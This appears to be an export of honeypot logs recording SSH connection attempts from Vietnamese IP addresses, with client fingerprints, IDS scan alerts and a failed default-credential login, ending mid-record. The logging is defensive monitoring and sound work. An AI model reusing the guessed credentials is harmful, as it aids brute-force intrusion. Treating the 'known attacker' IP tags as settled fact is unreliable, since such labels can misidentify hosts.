ssh	\N	\N	\N	\N
27010	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:44.84218+03	2021-09-20 14:15:14.017646+03	{"_id": "2AbpAnwBvYTbRNuEcSU4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "918ec226f031", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:44.842180Z", "@timestamp": "2021-09-20T11:13:44.842Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27011	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:45.255426+03	2021-09-20 14:15:14.018648+03	{"_id": "2QbpAnwBvYTbRNuEcSU4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "00138fee7633", "@version": "1", "duration": 3.4004454612731934, "timestamp": "2021-09-20T11:13:45.255426Z", "@timestamp": "2021-09-20T11:13:45.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27012	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:44.839268+03	2021-09-20 14:15:14.019646+03	{"_id": "2gbpAnwBvYTbRNuEcSU8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:36048 (192.168.176.2:22) [session: 918ec226f031]", "session": "918ec226f031", "@version": "1", "protocol": "ssh", "src_port": 36048, "dest_port": 22, "timestamp": "2021-09-20T11:13:44.839268Z", "@timestamp": "2021-09-20T11:13:44.839Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27013	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:45.382011+03	2021-09-20 14:15:14.021647+03	{"_id": "5AbpAnwBvYTbRNuEcSU9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:7212 (192.168.176.2:22) [session: 3d6c57439a0d]", "session": "3d6c57439a0d", "@version": "1", "protocol": "ssh", "src_port": 7212, "dest_port": 22, "timestamp": "2021-09-20T11:13:45.382011Z", "@timestamp": "2021-09-20T11:13:45.382Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27029	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:34.003116+03	2021-09-20 14:15:14.042647+03	{"_id": "GAbpAnwBvYTbRNuERiU5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:32986 (192.168.176.2:22) [session: 90eba1df5dca]", "session": "90eba1df5dca", "@version": "1", "protocol": "ssh", "src_port": 32986, "dest_port": 22, "timestamp": "2021-09-20T11:13:34.003116Z", "@timestamp": "2021-09-20T11:13:34.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27014	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:45.148701+03	2021-09-20 14:15:14.022678+03	{"_id": "4QbpAnwBvYTbRNuEcSU8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "918ec226f031", "@version": "1", "timestamp": "2021-09-20T11:13:45.148701Z", "@timestamp": "2021-09-20T11:13:45.148Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27015	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:45.54917+03	2021-09-20 14:15:14.024647+03	{"_id": "4gbpAnwBvYTbRNuEcSU8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3d6c57439a0d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:45.549170Z", "@timestamp": "2021-09-20T11:13:45.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27016	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:13:46.000668+03	2021-09-20 14:15:14.025677+03	{"_id": "7gbpAnwBvYTbRNuEcyU5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:45.134279+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1495189460683911, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 58310, "timestamp": "2021-09-20T11:13:46.000668Z", "@timestamp": "2021-09-20T11:13:46.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
27017	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:45.657696+03	2021-09-20 14:15:14.02668+03	{"_id": "7QbpAnwBvYTbRNuEcyU5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1036585741685561, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 7212, "dest_port": 22, "timestamp": "2021-09-20T11:13:45.657696Z", "@timestamp": "2021-09-20T11:13:45.657Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27018	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:45.657856+03	2021-09-20 14:15:14.027675+03	{"_id": "7wbpAnwBvYTbRNuEdCVq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7212, "timestamp": "2021-09-20T11:13:45.657856", "@timestamp": "2021-09-20T11:13:45.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27019	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:32.05753+03	2021-09-20 14:15:14.029647+03	{"_id": "_AbpAnwBvYTbRNuEPSSu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49458, "timestamp": "2021-09-20T11:13:32.057530", "@timestamp": "2021-09-20T11:13:32.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27020	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:32.055988+03	2021-09-20 14:15:14.030646+03	{"_id": "AgbpAnwBvYTbRNuEPiVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:49458 (192.168.176.2:22) [session: fd0bc369f0d0]", "session": "fd0bc369f0d0", "@version": "1", "protocol": "ssh", "src_port": 49458, "dest_port": 22, "timestamp": "2021-09-20T11:13:32.055988Z", "@timestamp": "2021-09-20T11:13:32.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27021	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:32.056919+03	2021-09-20 14:15:14.032648+03	{"_id": "AAbpAnwBvYTbRNuEPiVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fd0bc369f0d0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:32.056919Z", "@timestamp": "2021-09-20T11:13:32.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27022	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:33.415557+03	2021-09-20 14:15:14.033675+03	{"_id": "DAbpAnwBvYTbRNuEQiVM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [media/media] failed", "session": "fd0bc369f0d0", "@version": "1", "password": "media", "username": "media", "timestamp": "2021-09-20T11:13:33.415557Z", "@timestamp": "2021-09-20T11:13:33.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27023	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:13:33.464893+03	2021-09-20 14:15:14.034674+03	{"_id": "EQbpAnwBvYTbRNuERCVR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:13:33.464893+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1458132486002685, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 60834, "dest_port": 22, "timestamp": "2021-09-20T11:13:33.464893Z", "@timestamp": "2021-09-20T11:13:33.464Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27024	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:34.281821+03	2021-09-20 14:15:14.035674+03	{"_id": "EgbpAnwBvYTbRNuERSWA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 32986, "timestamp": "2021-09-20T11:13:34.281821", "@timestamp": "2021-09-20T11:13:34.281Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27025	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:34.28762+03	2021-09-20 14:15:14.037648+03	{"_id": "EwbpAnwBvYTbRNuERSWA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": 